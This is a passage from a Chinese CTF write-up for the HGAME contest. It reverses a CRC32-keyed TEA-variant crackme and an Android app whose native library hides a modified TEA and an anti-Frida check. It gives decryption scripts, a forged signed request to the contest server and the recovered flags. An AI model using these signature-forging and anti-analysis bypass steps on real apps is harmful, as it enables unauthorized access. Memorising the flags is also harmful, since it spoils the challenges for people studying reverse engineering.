j___CheckForDebuggerJustMyCode((__int64)&unk_7FF69C9970A3, a2, a3);
v4 = -1;
for ( i = 0i64; i < a2; ++i )
v4 = ALLCRC[(unsigned __int8)(*(_BYTE *)(i + a1) ^ v4)] ^ (v4 >> 8);
return ~v4;
}

发现这个函数是用于计算CRC32校验值的,结合刚才的函数:

1
2
3
4
5
6
v4 = (char *)j_j_j__malloc_base(0x10000ui64);
sub_7FF69C8D3792((__int64)v4, 0i64, 0x10000i64);
sub_7FF69C8D29C8(v4, main, 0x10000i64);
sub_7FF69C8D11D6();
for ( i = 0; i < 4; ++i )
key[i] = sub_7FF69C8D1AB4(&v4[0x4000 * i], 0x4000i64);

发现是将程序从main开始的0x10000字节内所有函数的机器码复制到v4,密钥实际上是v4的每个四分之一(大小0x4000)的CRC32校验值,多次调试控制变量后发现key与所下的断点有关(因为断点改变了函数的机器码),将全部断点取消后执行到key赋值完毕,将v4的0x10000字节dump出来,和原有的进行对比,验证了上述复制机器码的猜想后,将全部0x10000字节覆盖为原有的机器码,手动求出CRC32值,得到key:[0x97A25FB5, 0xE1756DBA, 0xA143464A, 0x5A8F284F],带入解密脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import struct

def bytes_to_dwords_le(byte_str):
dwords = []
for i in range(0, len(byte_str), 4):
chunk = byte_str[i:i+4]
dword = struct.unpack('<I', chunk)[0]
dwords.append(dword)
return dwords

input_str = b"\x23\xea\x50\x30\x00\x4c\x51\x47\xee\x9c\x76\x2b\xd5\xe6\x94\x17\xed\x2b\xe4\xb3\xcb\x36\xd5\x61\xc0\xc2\xa0\x7c\xfe\x67\xd7\x5e\xaf\xe0\x79\xc5"
output = bytes_to_dwords_le(input_str)

a1 = output
a2 = [0x97A25FB5, 0xe1756dba, 0xA143464A, 0x5A8F284F]
a3 = [0] * 4
v6 = 0

#解密
for v8 in range(1,12):
v6 += a3[v8 % 4]
v9 = (v6 >> 2) & 3
for i in range(8,-1,-1):
after = a1[(i + 1) % 9]
before = a1[(i - 1) % 9]
a1[i] = (a1[i] - (((before ^ a2[v9 ^ i & 3]) + (after ^ v6)) ^ (((before << 4) ^ (after >> 3)) + ((after << 2) ^ (before >> 5))))) & 0xFFFFFFFF

for i in range(len(a1)):
print(hex(a1[i]),end=", ")
print()

输出flag明文的十六进制:0x34656633, 0x63323237, 0x6264312d, 0x33342d66, 0x382d3762, 0x2d393536, 0x34633163, 0x34653061, 0x64346532,按小端序转成flag:hgame{3fe4722c-1dbf-43b7-8659-c1c4a0e42e4d}.

Mysterious signals:

查看mainactivity:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.nobody.andsign;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.OnApplyWindowInsetsListener;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
public Context m;
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), new OnApplyWindowInsetsListener() { // from class: com.nobody.andsign.MainActivity$$ExternalSyntheticLambda0
@Override // androidx.core.view.OnApplyWindowInsetsListener
public final WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) {
return MainActivity.lambda$onCreate$0(view, windowInsetsCompat);
}
});
this.m = this;
((Button) findViewById(R.id.send)).setOnClickListener(new View.OnClickListener() { // from class: com.nobody.andsign.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
((TextView) MainActivity.this.findViewById(R.id.ret)).setText(new SSSign().a("admin", "hello", ((TextView) MainActivity.this.findViewById(R.id.Port)).getText().toString()));
}
});
}

/* JADX INFO: Access modifiers changed from: package-private */
public static /* synthetic */ WindowInsetsCompat lambda$onCreate$0(View view, WindowInsetsCompat windowInsetsCompat) {
Insets insets = windowInsetsCompat.getInsets(WindowInsetsCompat.Type.systemBars());
view.setPadding(insets.left, insets.top, insets.right, insets.bottom);
return windowInsetsCompat;
}
}

发现输入端口号后按下按钮会把admin、hello和端口号传给SSSign类中的方法a,查看该类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.nobody.andsign;

import android.util.Log;
import androidx.core.app.NotificationCompat;
import com.google.gson.Gson;
import com.google.gson.JsonObject;
import java.io.IOException;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;

/* loaded from: classes.dex */
public class SSSign {
public String result = "NULL";
public native String b(String str);
public native String c(String str);

static {
System.loadLibrary("sssign");
}

public String a(String str, String str2, String str3) {
OkHttpClient build = new OkHttpClient().newBuilder().build();
JsonObject jsonObject = new JsonObject();
jsonObject.addProperty(c("104406435e045957"), str);
jsonObject.addProperty(c("035e0f545e045957"), str2);
RequestBody create = RequestBody.create(MediaType.parse("application/json"), jsonObject.toString());
final CountDownLatch countDownLatch = new CountDownLatch(1);
build.newCall(new Request.Builder().url("http://node1.hgame.vidar.club:" + str3 + "/flag").header(c("165e045f"), b(str + str2)).post(create).build()).enqueue(new Callback() { // from class: com.nobody.andsign.SSSign.1
static final /* synthetic */ boolean $assertionsDisabled = false;
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
SSSign.this.result = "onFailure";
countDownLatch.countDown();
}

@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
Log.e("OkHttp", "请求成功,码值: " + response.code());
if (response.isSuccessful()) {
SSSign.this.result = response.body().string();
countDownLatch.countDown();
}
}
});
try {
if (!countDownLatch.await(5L, TimeUnit.MINUTES)) {
this.result = "请求超时";
}
} catch (InterruptedException unused) {
this.result = "等待过程被中断";
Thread.currentThread().interrupt();
}
String asString = ((JsonObject) new Gson().fromJson(this.result, (Class<Object>) JsonObject.class)).get(NotificationCompat.CATEGORY_MESSAGE).getAsString();
this.result = asString;
return asString;
}
}

发现是把三个字符串“104406435e045957”“035e0f545e045957”以及“165e045f”用本地方法c解密后构造成POST请求后发给服务器,并从服务器返回传回的文本,查看本地方法c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall Java_com_nobody_andsign_SSSign_c(__int64 a1, __int64 a2, __int64 a3)
{
void *v4; // [rsp+20h] [rbp-60h]
__int64 v5; // [rsp+28h] [rbp-58h]
__int64 v6; // [rsp+48h] [rbp-38h]
unsigned int v7; // [rsp+54h] [rbp-2Ch]
char v9; // [rsp+77h] [rbp-9h] BYREF
unsigned __int64 v10; // [rsp+78h] [rbp-8h]

v10 = __readfsqword(0x28u);
v7 = sub_186D0(a1, a3);
v6 = sub_18700(a1, a3, &v9);
v4 = (void *)operator new(0x28uLL);
sub_18740();
v5 = sub_187A0(v4, v6, v7);
if ( v4 )
operator delete(v4);
return sub_18840(a1, v5);
}

查看解密函数:

1
2
3
4
5
6
7
__int64 __fastcall sub_18740(__int64 a1)
{
strcpy((char *)a1, "e7c10e42b7a68e14");
strcpy((char *)(a1 + 17), "0123456789abcdef");
*(_DWORD *)(a1 + 36) = 0x11223344;
return sub_18F20();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall sub_18F20(__int64 a1)
{
FILE *v2; // [rsp+10h] [rbp-290h]
char v3[520]; // [rsp+90h] [rbp-210h] BYREF
unsigned __int64 v4; // [rsp+298h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = fopen("/proc/self/maps", "r");
if ( v2 )
{
while ( __fgets_chk(v3, 512LL, v2, 512LL) )
{
if ( strstr(v3, "frida") || strstr(v3, "LIBFRIDA") )
{
*(_DWORD *)(a1 + 36) = 0x44331122;
return __readfsqword(0x28u);
}
}
fclose(v2);
}
return __readfsqword(0x28u);
}

发现sub_18740构造了一个40字节的数组a1,并设置其值为“e7c10e42b7a68e14\x00 | 0123456789abcdef\x00 | 0x00 | 0x00 | 0x44 | 0x33 | 0x22 | 0x11”,且检测到frida时修改了最后4字节的值,再查看第二个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_187A0(__int64 a1, __int64 a2, int a3)
{
__int64 v4; // [rsp+10h] [rbp-20h]
int v5; // [rsp+18h] [rbp-18h]

v5 = 0;
v4 = sub_19120(a1, a2, (unsigned int)a3);
while ( v5 < a3 >> 1 )
{
*(_BYTE *)(v4 + v5) ^= *(_BYTE *)(a1 + v5 % 16);
++v5;
}
return v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
_BYTE *__fastcall sub_19120(__int64 a1, __int64 a2, int a3)
{
int v3; // ecx
int j; // [rsp+8h] [rbp-58h]
int i; // [rsp+Ch] [rbp-54h]
char v7; // [rsp+10h] [rbp-50h]
char v8; // [rsp+14h] [rbp-4Ch]
_BYTE *v9; // [rsp+18h] [rbp-48h]
int v10; // [rsp+24h] [rbp-3Ch]
int v11; // [rsp+28h] [rbp-38h]

v11 = 0;
v10 = 0;
v9 = malloc((a3 >> 1) + 1LL);
__memset_chk(v9, 0LL, (a3 >> 1) + 1LL, -1LL);
while ( v11 < a3 )
{
v8 = 0;
v7 = 0;
for ( i = 0; i < 16; ++i )
{
if ( *(unsigned __int8 *)(a2 + v11) == *(char *)(a1 + i + 17) )
{
v8 = i;
break;
}
}
for ( j = 0; j < 16; ++j )
{
if ( *(unsigned __int8 *)(a2 + v11 + 1) == *(char *)(a1 + j + 17) )
{
v7 = j;
break;
}
}
v3 = v10++;
v9[v3] = (v7 & 0xF) + 16 * v8;
v11 += 2;
}
return v9;
}

发现这个加密实际上是用sub_19120将带入的字符串每两个字符拼成一个字节,然后再循环异或a1的前16个字符“e7c10e42b7a68e14”(每个字符以utf-8的方式异或,而不是两两拼成字节),将三个字符串“104406435e045957”“035e0f545e045957”以及“165e045f”分别带入得到usernamefilenamesign,但是sign的代入值是b方法处理的str1+str2,在so库中并没有找到同名方法,经过推测,应该是以下这些函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall sub_18870(__int64 a1, __int64 a2, __int64 a3)
{
void *v4; // [rsp+20h] [rbp-60h]
__int64 v5; // [rsp+28h] [rbp-58h]
__int64 v6; // [rsp+48h] [rbp-38h]
unsigned int v7; // [rsp+54h] [rbp-2Ch]
char v9; // [rsp+77h] [rbp-9h] BYREF
unsigned __int64 v10; // [rsp+78h] [rbp-8h]

v10 = __readfsqword(0x28u);
v7 = sub_186D0(a1, a3);
v6 = sub_18700(a1, a3, (__int64)&v9);
v4 = (void *)operator new(0x28uLL);
sub_18740((__int64)v4); //这里又生成了那个同样的密钥
v5 = sub_18990(v4, v6, v7); //主要的加密函数
if ( v4 )
operator delete(v4);
return sub_18840(a1, v5);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_18990(__int64 a1, __int64 a2, int a3)
{
int i; // [rsp+24h] [rbp-27Ch]
__int64 v5; // [rsp+28h] [rbp-278h]
_BYTE *v6; // [rsp+30h] [rbp-270h]
int v7; // [rsp+38h] [rbp-268h]
char dest[256]; // [rsp+90h] [rbp-210h] BYREF
char v10[264]; // [rsp+190h] [rbp-110h] BYREF
unsigned __int64 v11; // [rsp+298h] [rbp-8h]

v11 = __readfsqword(0x28u);
memcpy(dest, &RijnDael_AES_LONG_FE70, sizeof(dest)); //将AES的S盒复制到dest
v7 = a3 + 8 - a3 % 8;
v6 = malloc(v7);
sub_18BB0(a1, v10); //第一个加密函数
__memset_chk(v6, 0LL, v7, -1LL);
__memcpy_chk(v6, a2, a3, -1LL);
for ( i = 0; i < v7; ++i )
v6[i] = dest[(unsigned __int8)v6[i]]; //将v6的每个字节重映射到S盒对应索引的对应字节值
v5 = sub_18C80(a1, v6, v10, (unsigned int)v7); //第二个加密函数
return sub_18E20(a1, v5, (unsigned int)v7);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall sub_18BB0(__int64 a1, __int64 a2)
{
__int64 result; // rax
int v3; // ecx
int v4; // [rsp+8h] [rbp-20h]
int k; // [rsp+Ch] [rbp-1Ch]
int j; // [rsp+10h] [rbp-18h]
int i; // [rsp+14h] [rbp-14h]

result = a1;
v4 = 0;
for ( i = 0; i < 4; ++i )
{
for ( j = 0; j < 4; ++j )
{
for ( k = 0; k < 16; ++k )
{
v3 = v4++;
*(_BYTE *)(a2 + v3) = k * j * i + (*(_BYTE *)(a1 + k) ^ (*(int *)(a1 + 36) >> (8 * j))); //一个多层嵌套加密
}
}
result = (unsigned int)(i + 1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_DWORD *__fastcall sub_18C80(__int64 a1, __int64 a2, __int64 a3, int a4)
{
int v5; // [rsp+4h] [rbp-7Ch]
unsigned int v6; // [rsp+8h] [rbp-78h]
unsigned int v7; // [rsp+Ch] [rbp-74h]
_DWORD *v8; // [rsp+10h] [rbp-70h]
int v9; // [rsp+18h] [rbp-68h]
int i; // [rsp+1Ch] [rbp-64h]
int j; // [rsp+20h] [rbp-60h]

v9 = a4 / 4;
v8 = malloc(a4);
__memset_chk(v8, 0LL, a4, -1LL);
__memcpy_chk(v8, a2, a4, -1LL);
for ( i = 0; i < v9; i += 2 )
{
v7 = v8[i];
v6 = v8[i + 1];
v5 = 0;
for ( j = 0; j < 32; ++j )
{
v7 += v6 ^ (*(_DWORD *)(a3 + 8LL * j) + v5) ^ (v6 >> 3) ^ (4 * v6);
v6 += v7 ^ (*(_DWORD *)(a3 + 4LL * (2 * j + 1)) + v5) ^ (v7 >> 5) ^ (16 * v7); //明显的TEA
v5 -= 0x61C88647;
}
v8[i] = v7;
v8[i + 1] = v6;
}
return v8;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_BYTE *__fastcall sub_18E20(__int64 a1, __int64 a2, int a3)
{
_BYTE *v4; // [rsp+10h] [rbp-40h]
int v5; // [rsp+18h] [rbp-38h]

v5 = 0;
v4 = malloc(2 * a3 + 1LL);
__memset_chk(v4, 0LL, 2 * a3 + 1LL, -1LL);
while ( v5 < a3 )
{
v4[2 * v5] = *(_BYTE *)(a1 + (((int)*(unsigned __int8 *)(a2 + v5) >> 4) & 0xF) + 17);
v4[2 * v5 + 1] = *(_BYTE *)(a1 + (*(_BYTE *)(a2 + v5) & 0xF) + 17);
++v5;
}
return v4;
}

逐个分析b方法的加密过程,首先和上面的解密方法c使用了同样的密钥材料a,然后先在sub_18BB0用了一个三层嵌套的函数处理40字节的密钥材料a的前16字节,用后4字节循环256次处理前16字节,生成了64个dword作为后续加密的密钥,接着将输入的明文的每个字节重映射到S盒对应索引的对应字节值,然后再用TEA加密,加密的时候32轮一共带入64个dword,最终将加密结果的十六进制拆成两个字符并转为字符串然后输出,再查看附带的serve(远程服务端)的可执行文件中的decrypt函数,可以确定上述加密就是b方法对于明文的加密,用加密脚本加密adminhello(安卓程序中构造的sign请求头的值str1+str2),填充\x00至16字节,得到加密结果“41dce78c58dacf99cbbc2f1c20135745”,开启服务器,python构造请求脚本或启动程序按下按钮,发现都返回了同一串文本“4b181fd6f8b852a9e23a4a7776e5f6905b71341af8f194a5db07d2902d2655401322e1c9a1a90e0d8676809c08484762”,猜测是flag的密文,编写解密脚本解得flag:hgame{7be75491-2329-403b-9829-a8f042dd3ba0}.

模拟安卓程序的请求脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import json

str1 = "admin"
str2 = "hello"
str3 = "xxxxx"
url = f"http://node1.hgame.vidar.club:{str3}/flag"

json_data = {
"username": str1,
"filename": str2
}

headers = {
"sign": "41dce78c58dacf99cbbc2f1c20135745",
}

response = requests.post(url, headers=headers, json=json_data)

print(response.status_code)
print(response.text)

输出结果:

1
2
3
200

{"code":"200","msg":"4b181fd6f8b852a9e23a4a7776e5f6905b71341af8f194a5db07d2902d2655401322e1c9a1a90e0d8676809c08484762\n"}.

加解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
def bytes_to_dwords_little_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='little', signed=False) for i in range(0, len(byte_array), 4)]

def dwords_to_bytes_little_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='little'))
return byte_list

#生成用于后续TEA加密的密钥的函数,用十六个字符的a1生成了64个四字
def keygen():
a1 = "e7c10e42b7a68e14"
hex_a2 = []
for i in range(4):
for j in range(4):
for k in range(16):
ascii_val = ord(a1[k]) ^ ((0x11223344 >> (8 * j)) & 0xFF)
final_ascii_val = (ascii_val + (i * j * k)) & 0xFF
hex_a2.append(final_ascii_val)
key = bytes_to_dwords_little_endian(hex_a2)
return key

AES_sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
#AES-S盒代换
def AES_sbox_transform(message,sbox):
enc = [None]*len(message)
for i in range(len(message)):
enc[i] = AES_sbox[ord(message[i])]
print([f'{byte:#02x}' for byte in enc])
return enc
#AES-S盒逆代换
def AES_sbox_untransform(enc,sbox):
inv_AES_sbox = [None] * 256
for i, val in enumerate(AES_sbox):
inv_AES_sbox[val] = i
dec = [None]*len(enc)
for i in range(len(enc)):
dec[i] = inv_AES_sbox[enc[i]]
print([f'{byte:#02x}' for byte in dec])
return dec
#魔改TEA
def MyTEA(enc, key):
encm = bytes_to_dwords_little_endian(enc)
tenc = []
print([f'{byte:#02x}' for byte in encm])
m1 = []
m2 = []
for i in range(0, len(encm), 2):
m1.append(encm[i])
m2.append(encm[i+1])

loop = 32 #循环次数
num = 0x9E3779B9 #魔数
startsum = 0 #sum起始值
for i in range(len(m1)):
delta = startsum
for j in range(loop):
m1[i] = (m1[i] + (m2[i] ^ (key[2*j] + delta) ^ (m2[i] >> 3) ^ (m2[i] << 2))) & 0xFFFFFFFF
m2[i] = (m2[i] + (m1[i] ^ (key[2*j+1] + delta) ^ (m1[i] >> 5) ^ (m1[i] << 4))) & 0xFFFFFFFF
delta = (delta + num) & 0xFFFFFFFF
tenc.append(m1[i])
tenc.append(m2[i])
print([f'{byte:#02x}' for byte in tenc])
return tenc
#解密魔改TEA
def DeMyTEA(enc, key):
encm = bytes_to_dwords_little_endian(enc)
tenc = []
print([f'{byte:#02x}' for byte in encm])
m1 = []
m2 = []
for i in range(0, len(encm), 2):
m1.append(encm[i])
m2.append(encm[i+1])

loop = 32 #循环次数
num = 0x9E3779B9 #魔数
startsum = 0 #sum起始值
for i in range(len(m1)):
delta = (loop * num + startsum) & 0xFFFFFFFF
for j in range(loop - 1, -1, -1):
delta = (delta - num) & 0xFFFFFFFF
m2[i] = (m2[i] - (m1[i] ^ (key[2*j+1] + delta) ^ (m1[i] >> 5) ^ (m1[i] << 4))) & 0xFFFFFFFF
m1[i] = (m1[i] - (m2[i] ^ (key[2*j] + delta) ^ (m2[i] >> 3) ^ (m2[i] << 2))) & 0xFFFFFFFF
tenc.append(m1[i])
tenc.append(m2[i])
print([f'{byte:#02x}' for byte in tenc])
return tenc

key = keygen()

message = b"adminhello\x00\x00\x00\x00\x00\x00".decode()
enc = AES_sbox_transform(message,AES_sbox)
tenc = MyTEA(enc,key)
enc1 = dwords_to_bytes_little_endian(tenc)
print([f'{byte:#02x}' for byte in enc1])

encflag = [0x4b,0x18,0x1f,0xd6,0xf8,0xb8,0x52,0xa9,0xe2,0x3a,0x4a,0x77,0x76,0xe5,0xf6,0x90,
0x5b,0x71,0x34,0x1a,0xf8,0xf1,0x94,0xa5,0xdb,0x07,0xd2,0x90,0x2d,0x26,0x55,0x40,
0x13,0x22,0xe1,0xc9,0xa1,0xa9,0x0e,0x0d,0x86,0x76,0x80,0x9c,0x08,0x48,0x47,0x62]
tdec = DeMyTEA(encflag,key)
dec1 = dwords_to_bytes_little_endian(tdec)
sdec = AES_sbox_untransform(dec1, AES_sbox)

注:第一周的时候看到很多全栈大佬,以为自己拿不到奖了,且第二周题目明显变难,于是只交了第一周的wp,第二周没交,结果没想到ban了一大堆人,只凭第一周的得分也上榜了,看来以后还是得积极交wp()